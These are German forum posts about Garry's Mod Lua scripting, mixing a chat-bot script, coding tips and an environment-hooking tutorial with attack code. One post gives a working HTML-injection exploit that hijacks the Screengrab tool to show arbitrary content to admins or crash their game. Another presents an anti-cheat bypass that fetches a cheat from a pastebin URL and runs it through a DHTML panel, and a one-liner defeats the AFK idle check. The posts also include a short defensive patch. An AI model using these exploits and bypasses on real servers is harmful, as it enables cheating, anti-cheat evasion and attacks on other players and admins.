hatte Rechtschrieb fehler drin poste gleich funktionierenden code
Beiträge von K03
-
-
nein
in eine .lua packen und in garrysmod/garrysmod/lua/autorun/client/bla.lua -
hier in etwas übersichtlicherererererer
Code
Alles anzeigenlocal bot = { name = false, cmds = { } } bot.names = { "Rüdiger263", "BlubdieBlub", "xXPetraSchmitzXx", "xXMinecraftHDXXLXx", "Bananaboat34", "Kevin007", "HasselbrookForEver", "F4Y_HD", "I_am_not_Schleichwerbung" } bot.addCmd = function( self , tab_cmds, func ) self.cmds[#self.cmds+1] = { tab_cmds , func } end bot.getName = function( self ) if( !self.name ) then self.name = table.Random( bot.name ) end return self.name end bot.answer = function( self , text , color ) color = color || Color( 255 , 255 , 255 ) chat.AddText( Color(0,140,0),"(TEAM) ",Color(255,255,79), self:getName(), Color( 255 , 255 , 255 ) , ": ", color,text ) end bot.handleChat = function( ply, strText, bTeam, bDead ) if ( ply != LocalPlayer() ) then return// no need to chat with other players end local text = string.Trim( string.lower( strText ) ) for k , cmd_struct in next, bot.cmds do for index, frase in next, cmd_struct[1] do if ( text:find( string.Trim( string.lower( frase ) ) ) ) then cmd_struct[2]( bot , text ) end end end end bot:addCmd( { "hallo" , "guten tag" , "guten abend" , "moin" } , function( self , text ) self:answer( "Hallo" ) end ) bot:addCmd( { "wie gehts" , "alles fit" , "wie geht es dir" } , function( self , text ) local antworten = { "mir geht es gut und dir?", "naja geht so dir?", "schlecht mir ist langweilig", } self:answer( table.Random( antworten ) ) end ) hook.Add( "OnPlayerChat", "bot", bot.handleChat )
noch nicht perfekt aber ich glaube man verstehts btw nicht getestet
-
Kritik ( sorry muss sein )
1. Benutz mal else z.bCodeif(antwort2==false) then chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D....") end if(antwort2==true) then chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D.... Allein weil du da bist freue ich mich -.-") end
ist das gleiche wieCodeif(antwort2==false) then chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D....") else chat.AddText(Color(0,140,0),"(TEAM) ",Color(255,255,79), Name," ",Color(255,255,255),": Auch wieder Da :D.... Allein weil du da bist freue ich mich -.-") end
2. Formatierung ist für den arsch.. man kann es kaum lesen
3. if(string.find( strText , "wie" )||string.find( strText , "Wie" )&&string.find( strText , "geht" ) || string.find( strText , "Geht" )) then geht nicht
da und (&&) klammert aber oder(||) nicht heißt das wenn da "wie" steht oder "geht" dann ist es true egal ob man nur "Geht" schriebt richtig wäre hierif( (string.find( strText , "wie" )||string.find( strText , "Wie" ))&&(string.find( strText , "geht" ) || string.find( strText , "Geht" ))) then
ich fix gerade den code poste den dann nacher
4. mann muss nicht booleans auf ==true überprüfen es reicht "if( boolean ) then .. end" oder (not) "if (! boolean ) then.. end" aber "if ( boolean == false ) then ... end " ist naja nicht gerade schön zu lesen
-
klar
kein ProblemK03
-
schau doch mal ob der hook aufgerufen wird und ob er da ist also schreib in deine funktion c.b print("i get called")
zudem schau in der PrintTable( hook.GetTable() ) ob da deine funktion drin steht
und würde sogar am anfang vom Script ein print setzen um zuschauen ob es überhaupt läd -
ehm ich kann lua einfach so laden mit luaL_oadstring hook
https://wiki.garrysmod.com/page/GM/PlayerSay ist server side und
https://wiki.garrysmod.com/page/GM/OnPlayerChat ist client side
also wen du alles cl laufen lassen willst ( was ich empfehle ) dann nimm OnPlayerChat und lass es client side laden -
geht gerade getestet auf server 1.
Code:
C: test.lua
Alles anzeigenhook.Add( "OnPlayerChat", "cmd", function( ply, strText, bTeam, bDead ) print( "OnPlayerChat called:" ) print( "Args: " ) print( "ply:" , ply ) print( "str:" , strText ) print( "bTeam:" , bTeam ) print( "bDead:" , bDead ) strText = string.lower( strText ) if ( strText == "!lm" && ply == LocalPlayer() ) then RunConsoleCommand( "say" , "geht" ) return true end end )
output:C: output.consoleOnPlayerChat called: Args: ply: Player [8][meinnameyo] str: !lm bTeam: false bDead: true
also geht ohne network/den server zu belasten und wenn eh alles cl.. warum sollte man das networken..
-
ich teste das mal eben bin mir aber 1000% sicher das das ohne network geht
-
Code
Alles anzeigenhook.Add( "OnPlayerChat", "HelloCommand", function( ply, strText, bTeam, bDead )//bin faul 1:1 aus wiki strText = string.lower( strText ) -- make the string lower case if ( strText == "!lm" && ply == LocalPlayer() ) then -- if the player typed /hello then RunConsoleCommand( "mat_wahtever" , 0 ) return true -- this suppresses the message from being shown end end )
-
Das ist echt keine gute Idee warum sollte man das networken was hat das auf dem Server zu suchen wtf ?
-
Das macht ja nicht der Admin, sonder andere Spieler und der Admin sieht das dann er kann ja nichts dafür
Also z.b kann ich joinen und hacken der Admin denkt sich "hmm ich schau auf sein bildschrim" und ich Crash ihn oder zeig ihm ein video etc. -
Also ich war letzt auf dem Instinkt® Garrys Mod® TTT Server und habe gesehen, dass der Server ein Screengrab hat (also Admins können "Auf" den Bildschrim jedes Spieler schauen).
Hier ist mir folgende Zeile aufgefallen.C
Alles anzeigen//die seite des Spielers der den Screengrab anfordert net.Receive( "grab_ScreenshotToClient", function() local len = net.ReadUInt( 32 ) local img, G = net.ReadData( len ) GRABSCREEN_PLY = net.ReadEntity() //Creation of the frame GRABSCREEN_HTML:SetHTML([[ <style type="text/css"> body { margin: 0; padding: 0; overflow: hidden; } img { width: 100%; height: 100%; } </style> <img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ) //... end )
Hier Ist auffallend <img src="data:image/jpg;base64,]] .. util.Decompress( img ) .. [[">]](1)
Code
Alles anzeigen//der client auf dem der Screengrab ausgeführt wird net.Receive( "grab_RequestScreenshot", function() local sendto = net.ReadEntity() local scr = {} scr.format = "jpeg" scr.h = ScrH() scr.w = ScrW() scr.quality = 40 scr.x = 0 scr.y = 0 local img = util.Base64Encode( render.Capture( scr ) ) img = util.Compress( img ) net.Start( "grab_ScreenshotToServer" ) net.WriteEntity( sendto ) net.WriteUInt( #img, 32 ) net.WriteData( img, #img ) net.SendToServer() end )
Also könnte man clientside einfach den Receiver hooken und einen String senden der dann in ( siehe 1) in den html frame "eingebaut wird" sprich wir könnten und Einen kleinen Spaß erlauben und z.b musik abspielen oder Webseiten öffnen oder sogar gmod crashen
Was müssen wir tun:- Hooken des Receiver
- Craft des html bodys der injizieren werden soll
- Senden an den Spieler
So Also rann an die Sache:
Das hooken ist das Einfachste, wir können es über die Net.Receive funktion machen oder über die Tabelle von net.Receivers.
Ich bevorzuge die Tabelle da wir uns so Funktions aufrufe ersparen.Codenet.Receivers["grab_RequestScreenshot"] = function( ) local sendto = net.ReadEntity()//wir müssen wissen wo unsere Daten hinmüssen btw das Script macht das so ich finde das eine schlechte idee den Client Entscheiden zu lassen man könnte es besser lösen aber egal;D //todo end
so wenn jetzt der Admin unseren Screen anfordert würde er nicht sehen da Screengrab nicht mehr die Funktion aufruft die den "Screenshot" macht, sondern unsere, die im Moment nichts macht.
Also Weiter gehts als nächstes müssen wir den String machen dieser beinhaltet den Code den wir später auf der html Seite haben wollen die der Admin sieht.local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]]
zuerst die Zeichen [[ ]] erstellen einen LUA string ( eine tolle Funktion) indem man alle anderen (auch reguläre string escape sequenzen wie " und ' benutzen kann ) diese nehmen uns die arbeit ab alles zu escapen (werde irgend wann mal ein tutoral zu lua strings machen).
und lassen dem admin ein Schönen text und bild anzeigen.so jetzt das ganze noch an den Server Senden, hierbei ist darauf zu achten, dass die Orginale funktion den String mit util.Compress( string compressedString ) ( LZMA ) Komprimiert heißt wir müssen dass auch machen da es auf dem Admin wieder Dekomprimiert wird
also
Codelocal data = util.Compress( str ) net.Start( "grab_ScreenshotToServer" ) net.WriteEntity( sendto ) net.WriteUInt( #data, 32 ) net.WriteData( data, #data ) net.SendToServer()
so alles zusammen und wir bekommen:
Codenet.Receivers["grab_RequestScreenshot"] = function( ) local sendto = net.ReadEntity() local str = [[ "> you got pranked bro <img src='https://i.ytimg.com/vi/jpPl-sijr4M/maxresdefault.jpg' ]] local data = util.Compress( str ) net.Start( "grab_ScreenshotToServer" ) net.WriteEntity( sendto ) net.WriteUInt( #data, 32 ) net.WriteData( data, #data ) net.SendToServer() end
Tada:
wenn der Admin uns jetzt Screen Graben Will ruft er unsere Funktion auf die den string an ihn senden wird welcher durch die Programmierung ( siehe erster code ) dirket als html text interpretiert wird.Bei fragen einfach Kommentar ( btw ich hab das hier gefunden und geschrieben in insg. ca 20 min also wenn manchen Erklärungen nicht vollständig oder nachvollziehbar sind FRAGEN )
K03
-
Selbst wenn dieser Bypass funktionstüchtig ist und du versuchst Instinkt davor zu schützen, wieso zur Hölle schreibst du einen Bypass ?
nein wieso auch nicht wie gesagt der bypass war eine art challenge an uns selbst..
-
Also vor nicht all zu langer zeit (*5 tage*) habe ich mein alten CAC bypass released welcher AHACK ( ein alter gmod Cheat ) laden kann ohne von cac detected zu werden hier werde ich ein bisschen auf den "Exploit" eingehen und wie man ihn verhindern kann, bis vil irgend wann der Offizielle patch kommt.
Doch davor erzähle ich erstmal wie es dazu kam.Anfang 2016 hatten wir unser CAC Bypass endlich zum laufen gebracht jedoch konnten wir den nicht weiter geben da er ( zumindest meines Wissens nach ) einer der besten ist die derzeit existiert hat.
Wir wollten jedoch ein Cheat schreiben den wir weiter geben konnten und der keine Modul oder andere dependency's hat.
Also haben wir etwas rumprobiert und sind mit diesem Bypass herausgekommen. Er funktioniert indem er CAC denken lässt, dass das ausgeführte Script von einem Frame ( eines Elementes des Spiels geladen wird, dass gewhitlistet ist ) .Dies passiert indem wir ein Dhtml Panel "austricksen" und (im BSP. dem Bypass) von pastenbin den hack laden.
Clocal HTML = vgui.Create( "DHTML", vgui.GetWorldPanel() ) HTML:SetSize( 0, 0 ) HTML:SetAllowLua( true ) HTML:SetHTML( [===[ <input id='heck' type='submit' onclick='console.log( "RUNLUA:RunString( \"pcall( http.Fetch , [[https://pastebin.com/raw/Z4Wr2nUk]] , RunString )\" ) ")' /> <script> document.getElementById("heck").onclick() </script> ]===] )
Durch das laden des Scriptes mit console.log ( src: https://wiki.garrysmod.com/page/DHTML/ConsoleMessage and https://github.com/Facepunch/g…rysmod/lua/vgui/dhtml.lua line 18 )
welches die ausführung von lua code dadurch das http.fetch von dem derma frame ausgeführt wird weiß cac nicht was es tuen soll und nimmt dies erstmal hin.Nun das witzige ist das wenn http.fetch den Inhalt der Website liefert ruft es Runstring mit dem Code auf diser aufruf ist aber nicht im normalen Stack.
Daher weiß cac nicht was passiert und da htttp.fetch von einem gewhitlisteten "ort" aufgerufen wurde denkt cac dass das script "ok ist".Weil das laden den Stack Trace für das Script verwirrt ist es möglich diesen bypass nach CAC zu laden und sogar ohne scripthook oder external man könnte dieses Script mit jeden bypass laden dies ist der einzige bypass der dies jemals geschafft hat!
Wie sollten sich Server davor schützen?
Codehook.Add("Initialize" , "JoinMsg" , function( ) local old = vgui.GetControlTable( "DHTML" ).SetAllowLua vgui.GetControlTable( "DHTML" ).SetAllowLua = function( s , x ) return old( s , false ) end end )
Dieses script verhindert das man DHtml frames Ausnutzen kann um lua zu laden.
Indem ich einfach die Funktion die für das setzen der Variable die das ausführen des lua scriptes detourt.
Letzte worte:
also auch wenn der Bypass nicht perfekt ist ( z.b mann muss ihn schnell laden bevor cac http.fetch hooked das sind ca 10 sec nach Joinen ) hat er kleinerer Fehler auf die ich nicht eingehen will jedoch ist er in dem jetzigen Release nicht vollständig und kann nach einer zeit zu einem Kick führen. Jedoch als CAC Truth Engineering(2) für welchen in den Einstellungen (von cac ) weder Gebannt noch gekickt werden kann. Man kann ihn umschreiben das er perfekt mit jedem Hack funktioniert aber diese Version werde ich aus angst das bald alle kinder mit ahack und hera auf cac Servern rumlaufen nicht Releasen.K03
-
ich bin mir nicht sicher aber ich glaub Instinkt hat sowieso ein eigenes anti afk system welches dadurch nicht gebypasst wird
aber ja ich versteh dein StandpunktMFG K03
-
Ich sag auch nicht das dieses Script super hardcore ist. Aber ich benutz es in letzter zeit trotzdem sehr oft, da es super nützlich ist wenn man programmiert um nicht immer afk gemoved zu werden. Und ich verstehe nicht ganz was das ganze jetzt mit Instinkt zutun hat, aber ich schätze sowieso das 90% aller Spieler dies sowieso nicht auf den Servern von Instinkt zum Laufen bekommen. Dennoch danke für die Kritik ich werde ab sofort wieder mehr darauf achten was ich release.
MFG K03
-
haha ja warum net, ist jetzt eh schon bisle älter und manche Server haben auch ihr eigenes anti afk script ( Server side was ich für dumm halte da es rechenleistung braucht ) welches dadurch nicht gebypasst wird.
Ich fine es aber ganz angenehm und wenn man scripthook hat / benutzt rein damit -
Ich fass es nicht, statts ein Guid zu machen release ich einfach mal Code. Wer hätte das gedacht...
Codeif( timer && timer.Remove && timer.Exists && timer.Exists( "idlecheck" ) )then timer.Remove( "idlecheck" ) end
Er removed den idel check Timer so könnt ihr nicht afk gemoved werden und bekommt auch keine Popups.
Umgeht auch das neuste update ->https://github.com/Facepunch/garrysmod/pull/1279 -
Oh man da ist es doch schon fast wieder 4 Monate her seit dem Letzen Post aber naja ( *das war's dann mit der Vorstellung jede Woche ein post* ), aber nun gut..
Also um was soll es im nächsten Abschnitt gehen ?
-Lua environment (env)
Was ist das ?
Nun eine Env ist der Kontext aus dem Funktionen ausgeführt werden ( normale ist es _G ).
Nun alles was man global anlegt kommt in die Env,
a = 1 ist das selbe wie _G.a = 1 ebenfalls könnte man auch durch die dafür vorgesehen Setter und getter so bekommen:getfenv( 1 ).a
im folgenden werde ich euch demonstrieren wie man funktionene hooken kann ohne die Funktion zu Detouren ( hooken bedeutet das man seine eigene Funktion zwischenschalten kann )
das erste was wir brauchen ist die Globaletabelle da wenn wir eine eigene Env anlegen es keine funktionen kennt da sie nicht bekannt sind.
im beispiel werde ich die ENV mit ev bezeichnen.wenn man jetzt die Enviroment auf ev setzt so würde es keine fuktionen wie string oder table etc. geben da (bei der Orginalen geht das da die Zugriffe auf string etc über _G erfolgt ) sie der Env nicht bekannt sind also um dies zu verhindern gibt es 2 möglichkeiten
1. Die env auf eine Kopie von _G setzen ( so kennt sie von sich aus alle Funktionen )
2. Der env eine Refferenz auf _G geben ( so kann man z.b env.g = _G und in der env g["string"]["..."] benutzen )Da wir das Hooking über eine Metatabelle machen werden, fällt die erste Lösung weg da wir sonst die meta Methode __index nicht benutzen können (zu Metatabellen werde ich in einem anderen post kommen).
Ich möchte klarstellen, dass das hier nur ein Proof of concept ist und ich daher dies nur mit der _G Tabelle mach und deren direkten Indexen ( also _G.print aber nicht _G.string.len ) es ist zwar möglich macht es aber nur unnötig kompliziert (im beispiel).also zurück zum Thema wir brauchen _G für alle Funktionen die uns Lua zu verfügung stellt.
nun zur Veranschaulichung werde ich zeigen was passiert wenn wir in eine Env etwas schreibenCodelocal ev = { g = table.Copy( _G ) , print = print , getfenv = getfenv}//ich gebe der env ein par funktionen die ich brauche setfenv( 1 , ev) // setzen der env a = 1 // test var print( a ) // 1 print( ev.a ) // 1 print( getfenv(0).a ) // nil print( getfenv(1).a ) // 1 print( _G.a ) // error _G undef
nun ich hoffe das war bis jetzt verständlich... also nun weiter wir geben unserer env eine meta TabelleCode
Alles anzeigenlocal meta = { __index = function( t , k ) //merke index wird nur aufgerufen wenn es in der tablle nicht vorhanden ist dies ist nicht schlimm da die env eh lehr ist if( isfunction( ev.g[k] ) ) then // wenn funktion ev.g.print( "_G['" .. k .. "']" )//print des namens return function( ... ) //hier erstelle ich den hook welcher mir die Parameter anzeigt mitder die Funktion aufgerufen wird local args = { ...} ev.g.PrintTable( args ) return ( ev.g[k] || function() end )( ... ) end end return ev.g[k]// g[k] geht auch //für den fall das es keine funktion ist retrurnen wir den normalen wert end }
also nun haben wir die metatabelle die müssen wir noch auf unsere Env setzen hier der volle Code:Code
Alles anzeigenlocal ev = { g = table.Copy( _G ) } local meta = { __index = function( t , k ) //merke index wird nur aufgerufen wenn es in der tablle nicht vorhanden ist dies ist nicht schlimm da die env eh lehr ist if( isfunction( ev.g[k] ) ) then // wenn funktion ev.g.print( "_G['" .. k .. "']" )//print des namens return function( ... ) //hier erstelle ich den hook welcher mir die Parameter anzeigt mitder die Funktion aufgerufen wird local args = { ...} ev.g.PrintTable( args ) return ( ev.g[k] || function() end )( ... ) end end return ev.g[k] //für den fall das es keine funktion ist retrurnen wir den normalen wert end } setmetatable( ev , meta ) setfenv( 1 , ev )// zurücksetzen wäre dann setfenv( 1 , ev.g) in diesem fall print("test") //output: //_G['print'] <- name der funktion //1 = test <- parameter //test <- output
wenn man die Env global macht ist es so super einfach für verschiedene Scripte zusammen zu arbeiten bzw. lokale weiterzugeben
ich hoffe es ist verständlich wenn nicht konstruktive Kritik gerne gesehen genauso wie fragen / Verbesserungsvorschläge.
K03